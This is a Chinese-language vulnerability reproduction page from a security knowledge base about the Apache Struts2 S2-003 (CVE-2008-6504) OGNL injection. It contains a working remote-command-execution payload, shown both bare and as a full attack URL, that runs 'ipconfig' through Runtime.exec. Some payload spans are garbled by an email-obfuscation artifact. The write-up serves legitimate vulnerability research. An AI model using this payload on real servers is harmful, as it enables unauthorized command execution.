menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2008-6504)S2-003 chevron_right (CVE-2008-6504)S2-003.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2008-6504)S2-003.md
    2.62 KB / 2021-07-15 19:48:23
        (CVE-2008-6504)S2-003
    =======================
    
    一、漏洞简介
    ------------
    
    OGNL还提供了广泛的表达式评估功能(http://www.ognl.org/2.6.9/Documentation/html/LanguageGuide/expressionEvaluation.html)。该漏洞允许恶意用户绕过ParametersInterceptor内置的"#"使用保护,从而能够操纵服务器端上下文对象。所以,例如,要将#session.user设置为\'0wn3d\',可以使用以下参数名称:(\'\\ u0023\'+\'session \'user \' \')(未使用)= 0wn3d网址编码后会显示如下:(\'\\ u0023\'%20%2b%20\'session \'user \\ \'))(未使用)= 0wn3d
    
    二、漏洞影响
    ------------
    
    Struts 2.0.0 - Struts 2.0.11.2
    
    三、复现过程
    ------------
    
    其实S2-003是S2-005的前身,他的POC即为S-005的缩小版,因为S2-003之后官方偷偷修改安全配置,默认让SecurityMemberAccess(管理ognl权限的类)的allowStaticMethodAccess为false,这里简单把S2-005的POC去掉&(\'\\u0023\_memberAccess.allowStaticMethodAccess\\u003dtrue\')(bla)(bla)这句话
    
        ?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\[email protected]@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\[email protected]@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))
    
    ### 测试网址:
    
        http://www.0-sec.org:8080/struts2-showcase-2.0.1/showcase.action
    
    ### 修改后网址:
    
        http://www.0-sec.org:8080/struts2-showcase-2.0.1/showcase.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\[email protected]@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\[email protected]@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))
    
    直接执行***ipconfig***命令
    
    
    links
    file_download